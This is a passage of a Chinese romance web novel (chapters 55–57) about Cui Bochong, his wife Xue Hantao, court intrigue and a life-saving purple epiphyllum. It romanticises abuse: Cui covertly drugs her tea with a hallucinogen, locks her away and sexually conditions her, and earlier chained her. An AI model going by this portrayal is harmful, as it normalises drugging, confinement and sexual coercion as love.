“若这个东西最后还是寓意什么驱邪避凶,”崔伯翀走回她的身边,指了指平平无奇的陶罐,贴近她的耳边,无声放肆地笑,“你最好有所准备。” 他会忠于自己身体的欲望,把桃子彻底填满,抽掉她的灵魂,卑劣地困在她的身边。 即便他死去一年,两年乃至十年,她都会永远记得他带给她的一切。 薛含桃有些被他炽热和疯狂的目光吓到,但没过多久她就自我安慰地摇摇头,不会的,只要世子的身体被治好,他就仍然是从前高贵优雅的模样。 此时的她心里充满了自信与欢喜,觉得未来一切都会圆圆满满。尤其,按照世子的意思,和离一事竟然未传出去。 “世子,我们一起寻医问药,这件事要不要也和…方大哥说一遍啊?”薛含桃期期艾艾地询问,她一点不怪方振当初作出的决定,换作是她,也会本能地选择让世子活命的丹药。 方大哥一直对她很好。 她甚至不讨厌逼她的韩将军,因为他的选择更无可厚非。只是她也不喜欢他罢了,看到他大概会远远地避开。 “过两日他回来,你自己和他说。”崔伯翀看出她的小心思,没有拆穿。 闻言,薛含桃暗松了一口气,回来后见到果儿姐姐,没见过方大哥,她便觉得方大哥不在府中,果然如此。 原来是世子让他出府办事去了,两日就能回来,想必不是什么要紧事。 “天色暗了,现在是不是该用膳,以及让玉蘅端来世子的…药汤?”她因为得到了纵容,胆子越来越大,犹豫两下,最终还是提到了之前的一个禁忌。 世子该老老实实地喝汤药,就如同桃子勇敢和他回他的世界,他也要乖巧。 “……世子乖。”她踮起脚尖,两只眼睛一眨不眨地望着他。 笑容满面,轻轻拍了拍他的肩膀。 “好啊。”崔伯翀垂着眉眼点头应下,未曾表现出一分不满。 这一刻,仿佛他们两人的身份发生了调换- 玉蘅端着一碗黑漆漆的汤药,每一步都像是走在紧绷的琴弦上,她越往里进,额头的汗珠越是密集。 脑海中,总是想到世子从昏迷中醒来的那一日。 夫人在接受了世子呕血的事实后黯然离去,玉蘅知道,身份高贵相貌柔美的仪静县主很快会替代她的位置。 起初,东院众人包括玉蘅在内都有些同情新夫人,尽管她并不是他们期待的主母模样,出身卑微,不通礼仪,才貌平平,但她的性情让他们慢慢接受了她。 毕竟这世间找不到第二个比她更省心的主母了,一开始存有偏见的玉蘅也不得不承认和她相处起来很舒服。 不需要去揣测她的喜好,不必担忧会惹怒她受到惩罚,只要做回自己便不会出现差错。 然而接受并不是认可,同情也很快被埋在心底,他们仍旧觉得新夫人不够格成为世子的正妻,他们的主母。 当方振交代他们不得在仪静县主的面前提起夫人时,没有一个人提出异议。 玉蘅甚至将茶水和点心都重新更换了一遍,改成步骤繁琐的茶汤和御点。原先夫人熬制的金银花茶,常吃的枣泥糕,银霜糕等全部不见踪影。 其实在玉蘅看来,这些夫人从市井中带来的东西太过于粗糙,上不得台面。 趾高气扬与这里同样格格不入的果儿也被关了起来,玉蘅精心做好了迎接仪静县主的准备,她想一切都会回到原本的轨道上。 事实上确实如此,仪静县主被请来后,她的一举一动完美地符合他们心中的主母形象。 她见他们的第一面就降下了赏赐,熟稔而从容,温柔又和气。 “仪静县主果然不愧是贵女。” “我们要更小心地服侍。” “对。” ……只是半天功夫,他们就认可了未来的新主母。 可是,所有人都忘记了一点,他们并不重要,夫人是世子的妻,从头到尾只需要得到世子一个人的认可。 那天日光明媚,玉蘅亲眼看着仪静县主走进世子的书房,她的脸上带着势在必得的微笑,自信地令人恍惚。 可能是因为唯一的阻碍已经主动离去了吧? 玉蘅这般想着,慢慢地放下心,她和方振两人都知晓世子必须吃下续命的丹药才能活下来,所以没有别的选择。 “小桃现在应该到丰县了吧。”她听到方振暗含沉痛的低语,也有些心不在蔫,却把丰县这个地名记了下来。 嘴唇翕动的时候,她的双耳骤然被冲击,爆裂的响声肆意拉扯着每个人的心脏。 方振和几个护卫没有丝毫犹豫地冲了进去,玉蘅跟在了后面,因为看到的场景,她的心脏猛然停止跳动。 书房内,高贵美丽的仪静县主仪态全无地跌坐在地上,一颗药丸滚落在她的脚边。 而明明被喂下了安神汤的世子沉默地清醒地站着,他的唇角,手指不停往下滴落鲜血。 “滴答” “滴答” 血腥气浓郁。 ……精美的花瓶裂成一片片,他轻蔑俯视地上女子的喉咙,眼睛里面充斥森冷的杀意。 仿若一头没有感情的野兽,嘶吼,“带着你的丹药滚出去。” “鬼,杀了这个鬼!” 随着仪静县主恐慌的尖叫声响起,玉蘅忽然明白了,她只想嫁给万人敬仰风光无限的大英雄,而不是阴郁的冰冷的崔世子。 第55章 第五十五章疯魔的崔世子。 比起上一次的羞愤离去,这一次的仪静县主可以说是失去了所有的体面。 当发现世子不是她所幻想的模样,惊吓之下的她最先想到的是杀了他。 她觉得面前的男子是一只冒充世子的孤魂野鬼,花容失色,而发现周围的人未按照她的命令行事时,高贵美丽、人人称赞的皇家县主宛若换了一个人。 她的眼中带着对世子深深的恐惧与厌恶,诅咒世子就应该在得胜归来的那日死去。 哪里有什么真心仰慕,从头到尾也只是一场利益交换。 接着,世子不过是朝她微微一笑,仪静县主便像是疯了一般连滚带爬地离开了书房。 然后,轮到了玉蘅他们。 那双纯黑色的眼瞳没有任何情感地在他们身上略过,他轻轻地笑问,他的桃子到哪里去了? 玉蘅的脸色刷的一下变白,她知道方管事也是如此。 “我抓住了她,她却不在,是不是故意偷懒?” 方振似乎如梦初醒,他低声回答小桃已经回去了她的来处,“天意如此,还请郎君不要再折磨您自己,也折磨小桃。” 话音落下,一只染着鲜血的手掌掐住了方振的喉咙。 “你总是烂好心,但从前的你说对了一句话。” 世子一脸愉悦地喟叹,桃子就该留在他的身边,从他抱起濒死的少女那一刻便已经注定。 “她逃不掉。” 之后,玉蘅的记忆变得晦涩起来,跟随了世子十多年的方管事被赶走,她也彻底失去了原来的地位,唯一能待的地方只剩下茶间。 她以为自己就此沉寂,没想到夫人归来,她又有了重获信任的机会。 虽然,玉蘅每走一步,内心深处的寒意就更多一分。 她垂着头,指尖甚至控制不住地颤抖……“玉蘅,你来了啊,我刚想起来那一次让你帮我送烤栗子,还没谢过你。” 薛含桃看到她,在从青石县带回的东西里面翻出了一包饴糖,递过去,抿嘴干笑,“虽然只是饴糖,但它是青色的,比较少见。” 玉蘅很难弄清这一刻她是什么心情,不过接过那包饴糖时,她的脚终于算是踩到了地面。 “谢谢夫人。”她深深地吸了一口气,语气略为拘谨。 薛含桃从她的身上感受到了与以前的不同,眨了眨眼睛,下意识地看向了一旁摆弄汤药就是不喝的世子。 崔伯翀打量手中这碗浓稠似墨的东西,厌倦地拧起眉,勺子重新放了回去。 轻轻的一声响,玉蘅慌忙不已,世子的汤药之前由方管事一手负责,现在方振不在,她便有些拿捏不住尺度。 薛含桃端起汤药认真地嗅了嗅,苦涩的气味直冲她的鼻腔,她想了想,说道,“玉蘅,你让厨房送来些蜜渍果子。” “是。”闻言,玉蘅如遇大赦,拿着包饴糖急急退了下去。 “你当哄孩子?”听出她的用意,崔伯翀眼皮微掀,拉着她的手指狠狠咬了一口,径直留下清晰的牙印。 他漫不经心地想着,比起吃药不如吃桃子。 “世子,你这样是不对的,不可以讳疾忌医。”薛含桃趁他不注意悄悄探出舌尖舔了舔勺子,苦的直皱小脸,但接 着她摆出一副严肃的模样,强调他方才说了好字。 崔世子恍若未闻,他连人都不做了,出尔反尔很稀奇么? 蜜渍果子以及几碟子薛含桃常吃的点心端了上来,她咬咬牙,猛地往自己的嘴里灌了一口。 崔伯翀立即伸手捏住她的下颌,她已经忍住身体的抗拒将药汤咽了下去,末了摇头慢吞吞说,“只有一点苦而已。” 一颗蜜渍果子很快被她放进嘴里,她又眼睛亮晶晶地笑起来,“现在很甜了,唔,还有些酸味,好吃!” 薛含桃没有撒谎,她真的觉得自己嘴巴里面甜甜的,举着一颗让崔世子先尝一尝。 桃子总是如此朴实,不会使花里胡哨的招数,自己试过了才让崔伯翀放心。 只是有一点苦,但是先尝到更多的甜就好了。 她的神色透出几分娇憨,崔伯翀垂下眼眸将她的指尖和果子一起放进嘴中,品尝了许久,然后喝完了那碗腥臭的药汤。 他淡淡地道,“尚能忍受。” 闻言,薛含桃笑的很傻。 她就说不怎么苦嘛。 夜晚,两人重新躺在宽敞柔软的床榻上,屋中摆放着足够的炭盆,薛含桃身上只穿了一件薄薄的寝衣。 她找回了一些熟悉的感觉,略带迟疑地问还要不要她趴好,崔伯翀看了她一眼,偏头笑着说明天宫里一定会来人。 “你若是想去,那就老老实实的。”他捉住她,一只手掌清脆地拍了下去。 薛含桃的脸颊顿时涨红,急忙闭上眼睛,快两个月没见堂姐,她明日确实想进宫。 马车上终究休息不便,只是半柱香的时间她就沉沉地进入了梦乡。 崔伯翀平静地盯着她熟睡的模样,想了一会儿,还是俯身去吻她红扑扑的面颊。没有尝过桃子的甜味,他体内的躁动很难平息。 “蜜渍果子也比不了我的桃子。” 她的滋味才是最美妙的,即便安安静静睡着了也这么勾人。 不过这两日先放过她,等她见完了客人彻底消弭那一封和离书的存在,他要让桃子时刻长在他的身上。 与他不舍不分,永远记住他- 次日,正如崔世子所料,宫里果然来了人,还是柔仪殿的胡姑姑亲自前来,请薛含桃入宫。 初一见到人,胡茵儿就险些破了功,差点以为崔世子把贵妃娘娘的妹妹给调换了。 她面前琼鼻樱唇,肤白貌美的小姑娘真的是从前那个面黄肌瘦,干瘪普通的农女吗? 胡茵儿很恍惚,不敢去问崔世子,先是带着疑问看向了柔仪殿出去的果儿。 果儿不明所以,在她眼中的娘子不一直是这个样子?就是穿戴穷酸了些,只要上过妆,很美的。 而且世子上妆的手艺稍稍比她好那么一点点……果儿赞叹不已,不小心望见世子明显不耐的神色,又立刻缩起来到大黑狗的后面。 她现在算是明白了,和阿凶待在一起才最安全。 “我进宫去了啊,见完阿姐就会回来,世子你千万记得不要动我的宝贝。”薛含桃也感觉到了崔世子的兴致低沉,她紧张地捏起手心,忍着羞臊用脸蹭了蹭他的胸膛。 轻轻地,不仅蹭在他心脏的位置,还意在安抚那道可怕的伤疤。 在她回来之前,伤口一定不准疼。 胡茵儿见此更难以置信,这怎么会是那个唯唯诺诺的薛二娘子? “午时之前回来。”因为她大胆的举动,崔伯翀的眼神和缓了一些,说马车会在宫门外接她。 “嗯!”薛含桃将自己给堂姐准备的东西拿着,自然地走到了胡茵儿的面前。 她唤了一声胡姑姑,和从前一模一样,胡茵儿终于相信她就是薛贵妃的妹妹,小皇子的姨母。 “二娘子的变化真是不小,贵妃娘娘见到肯定很高兴。”她感慨了一句。 薛含桃不好意思地笑笑,有些羞赧,“因为我现在吃的饱,身上长了很多肉。” 不止,补药把她的气血也养了回来。 闻言,胡茵儿彻底放心,确定人仍旧是那个人,除了相貌,别的没有变化。 “把药端上来。”桃子离了人,崔伯翀恢复了面无表情,冷声对着玉蘅说道。 他的身体不只需要喝一种药汤,每日也不只一次。 而且,他还要准备别的……永远让人无法忘记的药剂,喂她喝下。 此刻,他的眼中完全展露一股冷静的疯狂,凡是看到的人无不心中发麻。 只有大黑狗,可能认过主,无畏地上前冲着他张了张嘴,不停地摇尾巴。 “过年这几日,不要去找她,想吃什么想玩什么,”他瞥了一眼圆脸的侍女,沉声吩咐,“一切交给你,记住,看好阿凶。” “是是是,奴婢一定做到。”果儿心慌极了,忙不迭地点头应下。只是看着阿凶而已,她哪里敢做不到。 至于世子为何不让阿凶去找娘子,果儿咽了咽口水,没出息地闭紧了嘴巴- 两个月没去,在薛含桃的眼中,柔仪殿的变化很大。 她想,比之前更华丽了一些。 大概是即将过年的缘故,殿中多了不少亮色,靠近殿门的位置还摆放了两盆蜜橘。 薛含桃多看了一眼,回过头来正对上一双圆溜溜的大眼睛。 薛贵妃走过来,怀里抱着几个月的小皇子,小皇子睁着眼睛一脸好奇地打量她。 尽管他还要很久才能说话,但朝着薛含桃呀了一声,很可爱。 “阿姐!小皇子!”久未进宫,薛含桃高兴之余忘记了礼数,喊了人后意识到要先行礼,赶紧补上。 薛贵妃托着她的手腕拦住了她,笑道,“自家姐妹,讲究那些虚礼做什么。小桃,不错,这些天不见你出落地有几分像叔母了。” 提到薛含桃的母亲,她是某一年逃难到桃林村的,单名一个英字,姓氏因为辗转太多已经记不清了。留在桃林村,她给姓季的人家做了养女,于是人人叫她季英娘。 季英娘一开始黑瘦黑瘦的看不出来,后来长开了,美的就如同天空的晚霞,令人沉醉,不少人看中她想把她娶回去。 但姓季的这户人家狮子大开口,愣是开出了六十两银子的高价,最后只有薛含桃的父亲拿出了这笔银子。 为此,薛家人都觉得太亏了,因为季英娘长的好看没错,但她肚子太不争气,愣是只生了一个女儿。 薛贵妃看着堂妹现在的模样,想到了这位命薄的叔母,她的记忆中,叔母的身体一直不大好。 究其原因,叔母和小桃母女两人的命运惊人的相似,都在逃难中坏了根基。 薛贵妃便叹了一口气,问薛含桃离开京城这一趟是不是为了医治她的身体。 “我好着呢,”薛含桃诚实地摇头,回忆起韩将军说过的话,反应无措,“是世子,他病了,病的很重。” “阿姐,他们说世子是……被人害了。”她神情异常低落,耷拉着脑袋,声音带着哭腔,“阿姐知道害他的人是谁吗?” 宫里的人,她的姐夫,是陛下。 薛含桃的心跳一次快过一次,她也不知道自己为何突然变成了现在这样,但她承诺过桃子要努力的不是吗? 世子也说过她和她的堂姐未来能做很多事,所以,所以,她尝试着去做。 可是,更慌得不行,语气不由自主地颤抖。 然而,偏偏是如此,薛贵妃没有发现任何异常,她猛一听到这样的话,眯起了美眸。 崔世子病了,小桃离开京城是为崔世子求医……突然间,薛贵妃想起了很多画面,有陛下的,有崔皇后的,她立刻问薛含桃从哪里听来的这些,告诉她的人又是谁。 “我不知道,我只听到了。”薛含桃只是摇头,茫然地摇头,“世子吐了血,阿姐,我很害怕。” “我唯一能依靠的人是阿姐你。”她泪眼朦胧,担心吓到小皇子,默默地用手背抹去了泪水。 薛贵妃脸色接连变幻,此时的她怎么还不清楚她们姐妹都是被蒙在鼓里的棋子,一股愤怒油然而生,不但为小桃更为她自己。 “小桃,你先别哭,阿姐会帮你,我说过,你的事便是阿姐的事。我会弄清楚背后的一切。” “嗯……这一次离京我给阿姐和小皇子都买了些礼物。” 薛含桃的心脏继续在猛烈地跳动,然后她抬起头,和薛贵妃说,“阿姐要小心,这里的世界很复杂,我们还要保护小皇子。” “当然。”薛青娥温柔地摸了摸她的头发,“不过不必畏惧这里,我们姐妹将来一定会站稳脚跟。” 她的眼中浮现一丝野心,快了,只要耐心地等待。 “是,世子说我是未来天子的姨母!他还给了我这个,我喜欢红色的薛字。”薛含桃拿出小巧的印章给薛贵妃看,红肿的眼皮下露着亮晶晶的光芒。 薛贵妃心神大震,看向小姑娘的眼神立刻发生变化。 “小桃,有了这句话,阿姐不仅会帮你,还会帮着崔世子。” “世子是我的夫君,我们本来就是一家人,互相帮忙,就像上一次世子不让皇后娘娘夺走小皇子。” 薛含桃点头,偷偷又告诉堂姐崔皇后对世子曾经很差,“皇后娘娘和我们不是一家的。” 听到这里,薛贵妃的心思更热切了几分。 薛含桃离开后没多久,德昌帝过来柔仪殿逗弄小皇子,就看到薛贵妃一脸忧愁的模样。 “贵妃这是怎么了?可是皇儿有哪里不妥?”德昌帝对小皇子是万分宠爱,立刻联想到他的身上。 薛贵妃摇头,低声道今日她的妹妹进宫了,“小桃哭着说崔世子病的很重,还吐了血,不知可否派个太医过去。” 德昌帝的神色有一瞬间的凝滞,时间这就要到了啊,如此必须要加快速度,趁伯翀还活着,太子得尽快立下。 不能再拖了。 “旧伤复发罢了,太医从前给伯翀看过,让你妹妹不必担心。”德昌帝留下一句话,便匆匆离去。 薛贵妃若有所思,自己一个人待了许久。 而当日蔡存被召入宫中,之后沉着脸离去。 这些都是薛含桃不知道的,她巳时末到达了宫门处,一看到熟悉的马车,立刻提着裙摆小跑过去。 挨个摸了摸两匹黑马,她又同罗承武打过招呼,接着钻进车厢里面。 头还没抬起来,一只手就扶住了她的腰肢。 “世子不是在家中看守我的宝贝吗?”薛含桃跌坐在他的腿上,惊讶的模样很可爱。 “去狄公府上拜访了一趟,刚好路过宫门。”崔伯翀淡声同她解释,枢密使狄恒狄大人不仅是他的顶头上司,还是他一位敬重的长辈。 他离开京城的一个月里,狄恒多次派人询问,如今回京于情于理都该到狄府拜访表达谢意。 “那位大人是不是很威严很有精神,嗯,这里和这里都白了。”薛含桃指着两鬓的位置,询问。 “你如何得知?”崔世子挑眉。 那就是了,她支支吾吾,“成婚那天,他看了我好几眼,我忍不住…只看了一下。” “改日,我携你一同见他。” 薛含桃乖巧地点头,没有问为什么,而是抓着小几上的茶壶,默默喝了好几口茶水。 喝过水的唇色晶莹,她怯怯地偷瞄一眼,过一会儿才问,“世子是去我的家乡了吗?” 所以离开京城一个月,而在青石县找到她是半个月前。 崔世子也没有回答她,而是温和地叮嘱她好生休息,仿佛之前那个狠心磋磨桃子的崔世子已经消失不见。 薛含桃很放松,同时因为自己在堂姐面前的变化而飘忽。 她有些不安,“马车不是回府的方向。” “去买些所需之物。”此时的他很好说话,“你想要的都可以开口。” 薛含桃相信了,她买了很多东西,只是本性作祟,那些东西的价钱都不高。 其中,吃食占多数。 “开心吗?”最后回府的时候,崔伯翀问她。 “开心!”薛含桃回答地毫不犹豫。 然而,不久后,她就笑不出来了,因为现在的世子仍旧是妖魔。 他只是更会隐藏了而已。 初时,回到了东院的薛含桃一无所觉,只是发现正房铺了柔软的地毯,还多出了十几个碟子,分别装着鲜果,肉脯和点心。 等到房门被锁上的时候,她开始站不稳了,跌跌撞撞地趴倒在被褥间,迷瞪地说自己似乎看到了另一个世子。 “是他吗?”崔伯翀撑着她的下颌,展开了一卷画轴。 画上是他的模样。 不止一幅,不止一个他。 第56章 第五十六章生的希望。 门窗紧闭,屋中的烛台却全都亮着,将每一寸地方照的纤毫毕现,仿若日光最盛的白昼。 屋中悬挂着许许多多的画轴,他们是一个个的崔世子。薛含桃不知道在走入这里之前,自己就喝下了让人精神迷幻的汤药。 无声无色地藏在马车中的茶水里面,此时,药效发作,她忍不住会将画中人也当作真的世子。 眼前是画中的世子,身后是真实的世子,薛含桃一开始睁着雾蒙蒙的眼睛,尚可以将他们分清楚,因为只有真正的世子有着温度。 肌肤相贴的时候,她仿佛被一团滚烫的火焰包围,很热,哪里都热。 热的她喘气,想逃开。 “为什么有两个世子啊?”薛含桃想用手去够画中的人,可是被拽了回来,她细哼一声,回头看他。 快有些分不清楚了,又是一个新的世子,长的很像。 “因为你要记住我的模样。”崔伯翀在她的耳边低语,像是妖魔的蛊惑,“人的记忆会逐渐消退,只有最深刻的感受,才会永远不被遗忘。” “在这里,你可以完全地拥有我,很多个我,这是给予桃子的馈赠,你会觉得快乐,幸福。” 他轻轻地笑,说薛含桃是逃不掉的,因为无论逃到哪个地方都会有他的存在。 “不好吗?”崔伯翀将人翻过来,让她看着自己,俊美的脸上带着满足的笑容。 他觉得太好了,这一方天地只有她和他,她会记住他所有的模样。 “呜…”薛含桃躺在被褥上,神晕目眩,她伸出胳膊,仰头又去够一个崔世子。 好在这次,她幸运地够到了。 狭长深邃的眼睛,坚硬的眉骨,还有高挺的鼻梁……完美无瑕的面庞,在崔伯翀朝着水中漂泊的木盆遥遥一瞥时,那个濒死的小姑娘便将他的模样刻在了心中。 “不会忘记,一直记得。”薛含桃喃喃地说,让他相信自己,老实的小姑娘不会骗人,她怎么会把生命中最重要的存在忘掉呢? 没有他,她早就死在了水中;没有他,她不可能平安找到堂姐;没有他,她仍是灰扑扑的被人随手丢掉的野桃,路边无人在意的野草。 “早就和你说过,不要把我想的太好,我和庄园里的那些人没有区别。”崔伯翀捉住她的手腕,平静地剥开一层一层的衣服,她的,自己的。 然后崔伯翀告诉她,他不是光风霁月年少得志的状元郎,也不是熠熠生辉受人敬仰的卫国英雄,他的躯体已经腐烂,灵魂已经枯死。 所以无论她的语言有多么动听,模样又有多么可怜,他冷硬的心肠都不会被打动。 崔伯翀只会用自己的手段在她的里里外外刻上印记,对她而言固然是一种残忍的折磨,但已经足够宽容。 “舅父,狄公他们都希望你能生下我的孩子,从前的那个我拒绝了,不过后来的我很是期待。”他笑着,语气蓦然变得恶劣冷酷,“可是,我又想到万一生出的孩子不像我,除了将你困在一方宅院里面,毫无用处。” 薛含桃双目失神,想要说她的身体还没有养好。 她不知道高门之中有数不清的法子可以让一个女子有孕,母体受不受损无所谓,只要父体无碍…但崔伯翀最终仍是放弃了这个念头。 他亲了亲薛含桃颤动湿润的眼睫毛,语气轻柔,“桃子被磋磨时,全身粉红的样子最讨人喜欢。” 他怎么忍心伤害她, 让她尚且孱弱的身体承受生命到来时莫大的痛楚……所以便只剩有眼下的执着。 记住他,再也忘不了他。 薛含桃陷入了混沌之中,她睁着眼睛,无论看向何处,似乎都有一个崔世子,他居高临下地凝视她的全身,看着她呜咽,看着她无用地蜷缩在一起,看着她逐渐迷乱…… 就算闭上眼睛,梦里也是他,哪里都是他,他无处不在,肆意地攻占她的每一个地方,包括灵魂。 “求你了,放过我吧,记住……我真的记住了。”她迷迷糊糊地朝着一个个世子请求,讨好地笑,承受不住地抽泣。 可是最难受的时刻,崔伯翀也没有放过她,他唯一的温柔是亲自教她作画,让她一遍又一遍地描绘出他的模样。 对了给予她奖励,喂她吃美味的鲜果,如同对待新生的婴儿一般哄着她,在她的耳边低声念安眠的诗歌。 错了便是惩罚,让她一遍遍地羞耻难当,无法挣扎。 崔世子本性严苛,哪怕只是错之分毫,惩罚也不会轻上一分。 很久很久,辨不清时间,没有白天与黑夜,薛含桃只能通过每一处的进食获得喘息的机会。 不对,还有一个短暂的空隙,崔伯翀会离开她的身边,去照顾她放心不下的陶罐。 陶罐放在窗台上,他慢条斯理地浇水,将烧过的骨肥洒在叶子下面。 经过了几日,黄豆大小的花芽已经探出了脑袋,逐渐显露紫色的花苞,隐隐地也有一股花香飘出来。 嗅到沁人心脾的香气,崔伯翀的心情还不错,他想抠门的桃子总算大方了一次,这株花他从未见过,应该价值不菲。 有心给她奖励,他找出一本名册,决定为她讲解一番都城中复杂的人际关系,什么人可以亲近,什么人必须远离。 结果,重新返回的崔世子发现人不见了。 榻上是空的,原本埋首在被褥中沉眠的女子只留下一个凌乱的轮廓,他闭了闭眼睛,再次睁开,忍不住勾起了薄唇。 气定神闲的男人一句话没说,也并未寻找不见身影的桃子,径直熄灭了烛台。 明亮的房间顷刻之间黯淡下来,原来这时刚好是夜里,寻常人都已躺在榻上入寝。 崔伯翀也不例外,他放下名册,安然地阖上了双眸沉睡。 一刻,两刻,半个时辰,偷偷躲在床底下的薛含桃按捺不住了,开始下意识地寻找那个永远凝视她的男人。 他是她的夫君,他生的好看极了,比摇曳的烛光还要夺目。 他的模样时刻印在她的眼中,看不到他,薛含桃变得慌张,咬住指尖,她哭丧着脸又忍了一刻钟。 黑暗中,悄悄地,她从床底下爬了出来。 薛含桃站在帷幔里面,左右都看了看,忽然间屏住了呼吸。 无尽的喜悦在她心中回荡,她再也不想藏起来,急促地拱入榻间男人的怀中。 这是她的夫君,她根本无需犹豫就能认出他。 慌张与害怕一并消失,薛含桃打了个哈欠,安心依偎着他,瞬间入睡。 腰间的手臂锁紧,她压根没有感觉,梦中同样露出甜腻明媚的笑容。 除夕夜里此起彼伏的爆竹声也吵不醒她,崔伯翀却睁开眼睛,满意地笑了笑,他的目的达到了- 次日,阳光从开着的窗户中洒进来,带来了白日的问候。 薛含桃醒来的第一时间就是寻找自己夫君的身影,当抬头对上他纯黑色的眼瞳,她的眼睛一亮,语气期期艾艾,“我可以为你作画吗?” 当然可以,崔伯翀欣然应允,他用一层细纱蒙住她的眼睛。 她没有片刻迟疑,熟练地用画笔描绘出他的眼睛,眉骨,鼻梁,以及唇角的淡淡笑意,很快,又一个崔世子诞生了。 这一次,薛含桃没有出现一分差错,哪怕闭着眼睛她也能画出他所有的模样,笑着的,生气的,讥讽的,冷漠的……完完全全地刻在她的脑海里面。 “乖桃子,值得拥有最大的奖励。”崔伯翀抬起她的下巴,缓慢吻在那层细纱上。 细纱下面是她害羞又期待的眼神。 “什么奖励?”薛含桃小声问他。 “这里送给你。”他带着她的手,轻轻放在他的伤疤上。 手心感受到的除了凹凸不平的伤痕,还有一下一下正在跳动的心脏,似乎只要愿意,这颗心便能够从未曾愈合的皮肉中越出来。 让她真正地触摸到。 薛含桃毫无征兆地僵住了。 她蠕动着唇瓣,看到了窗外挂着的桃符,也看到了窗台上紫色的花苞。 悬挂的桃符寓意着新的一年到来,花苞可能也知道,于是它的边缘裂开了一道缝,含羞带怯地露出里面的花蕊迎接全新的日光。 薛含桃无法分辨此时的自己是哭还是笑,她彻底将他记住的同时,种子开出了花,若是更早一些,若是更迟一些,该有多好啊。 更早一些,她不会闭眼睁眼全是他,永远挣脱不了他给自己的印记。更迟一些,她便可以毫无顾忌地和他说,她也愿意把自己的心给他。 拥有了希望,神明会再度回到高高的神座上,他会嘉奖努力报恩的小姑娘,但…对她的偏执与渴望会不会消失? 薛含桃不知道,她只是虔诚地仰望着他,说自己也有一份礼物要还给世子,“它是希望,是我给神明的供奉。” 崔伯翀看着她跑过去,抱来陶罐指着紫色的花苞,眼中满是激动的喜悦,“世子,你看,这就是孙医圣交给你的种子,它没有死。它开花了,一定能够治好你的身体。” 薛含桃欣喜还有些不好意思的告诉他,在丰县的时候,自己无意间偷听到了他和方大哥的话,将他丢掉的种子捡了回来。 “我不是故意偷听,只是怕世子看到我觉得我偷懒。” “……紫昙,续命丹的主药。” 崔伯翀定定地凝视陶罐中即将绽放的花苞,饶是他心性坚定,呼吸也不由变得激荡难平。 为他续命护住心脉的丹药之所以难得,全是因为这一味主药已经绝迹,它极难养活,往往生存在深山之中,孙医圣多年来不过寻到了一朵而已。 种子也是唯一的一颗,孙医圣告诉他这颗种子存放了数年之久,几乎没有可能再发芽,但也有万分之一的机会它可以开花。 崔伯翀不相信会有奇迹出现,也坦然接受了即将到来的死亡,故而他嗤笑着直接扔掉了它。 但他没想到,在他扔掉种子的时候,不远处藏着一个心思简单的小姑娘,她听到了希望两个字,将种子捡了回去。 就这样,种子被她默默地养在陶罐里面,每天按时浇水施肥,走到哪里抱到哪里,从未被放弃。 嫁给他的前一天夜里,种子发了芽,她惦记着报恩,开心不已。 后来慢慢地长出了叶子,她经历过一场痛苦的分离,同样带着它,再到今日,种子终于开了花。 紫色的昙花,是生的希望。 她把它亲手献给他,当作新年的供奉。 “世子喜欢吗?”此时,她睁着没有一分阴霾的眼睛,询问他喜不喜欢。 或许是因为他施加在她身上密密麻麻的痕迹,她的语气也还是含着忐忑的。 崔伯翀俯下身,牢牢地死死地将她圈住。 “果然是一颗不老实的桃子,”他垂下眼眸低笑,眼尾有闪着的泪光,“竟然敢瞒我这么久。” 第57章 第五十七章她不欠世子了。 终 于走出房门的薛含桃仿若隔世。 她呼吸了一口新鲜的空气,身体因为冷意而瑟缩,第一反应是想着退回去,继续回到那个温暖的,迷乱的,令她安心的巢穴。 无数个世子围绕着她,注视着她,陪伴着她,给她带来快乐。 而现在她看向身边的男人,他怎么不抱着她了,这让薛含桃微微失落。 好在一声狗叫令她骤然清醒,大黑狗几日不见自己的主人,飞速跑了过来,嗅闻她的气味。 阿凶又叫了一声,这次含着些疑惑,它犹犹豫豫地朝新主人的方向也嗅了嗅,眼睛里面似乎有了然。 原来主人气息的改变是因为混杂了新主人身上的气味,它忍不住甩头打了一个喷嚏,太浓郁了,不适应。 薛含桃看不懂大黑狗的动作,听它打喷嚏还以为它受冻生病了,连忙蹲下身察看,结果阿凶莫名挣脱了她的手。 她茫然一瞬,垮下了脸,“世子,都怪你,阿凶肯定生我的气……” 可事情的始作俑者崔世子心情极好,他的神色如春风拂面,招手让大黑狗过来,开口解释,“它不是生你的气,只是还未适应。” 适应什么?她的眼睛里面明白地流露出这个意思。 崔伯翀淡淡一笑,俯下身就凑过去吻她的脸颊,“它不适应你里里外外都是我的。” 每一处都有他的印记,去不了也洗不干净,从里及外地散发着属于他的气息。 对崔伯翀而言,这是一种异常美妙的感觉,而她又很快给了他一个巨大的惊喜,所以,他脸上的笑容未曾断过。 偶尔垂眸看到她的指尖颤抖着,却硬是往回缩,一只手掌随意地抚过她的后颈,略微用力。 浑身发麻的感觉让薛含桃立刻放弃了抵抗,乖顺甚至迫不及待地抱住了他的手臂。 挨着,仿佛只要紧紧地挨着,她即便离开了巢穴也能感到安心。 阿凶的叫声是一个信号,接着更多人出现在薛含桃的面前,有她认识的,也有她从来没见过的。 他们全是在世子拉响了一个铃铛之后过来的。 她看见一个颌下蓄有长须的男子,隐晦又同情地望来,对着世子说要让她吃两副安神药。 薛含桃恍然大悟,原来他是住在后院的大夫,她自从嫁进来都只在正房等前三进的院落活动,怪不得从未见过他。 不过她又没有生病,为什么要她吃药。 “我不吃药。”薛含桃警惕地盯着他,将怀中的手臂抱的更紧,难道这是个骗子? “好,你不吃药,喝滋养气血的补汤已经足够。”崔伯翀愉悦地勾着唇角,和她介绍面前的大夫是孙医圣的第三子,三年中一直住在后院深居简出从不露面,他平时的药汤便是由孙大夫和方振两人负责。 “孙大夫,”听到世子说他不是骗子,薛含桃放松了一些,小声地说,“您弄错了,我不需要吃药,不过我送给世子的花可以用来入药。” 闻言,孙大夫叹了一口气,心里很不是滋味,多傻多善良的一个小姑娘,身心都被狠狠折磨了一通居然还想着给人送花。 早知道那副药他就不配了。 “什么花?金银花或是地丁花?”孙大夫随口问了一句,心道崔世子根本不做人,不让他为世子夫人开安神药为何要唤他前来。 “紫昙。孙医圣,就是孙大夫的父亲说过的,它的花能治世子的伤。”薛含桃老老实实回答,态度从一开始的警惕变成敬重。 “请您一定要治好世子,我会付给您银子,很多很多的银子。”她身上的钱虽然剩下只一点,但世子在青石县时拿来锁她的链子被她偷偷藏了起来,纯金的,换来的银子肯定都花不完。 故而,倒不怪薛含桃完全不记仇。受到了过分的对待不假,但是纯金的锁链真的很值钱很值钱。 她厚脸皮地把纯金锁链当作了世子给自己的补偿。 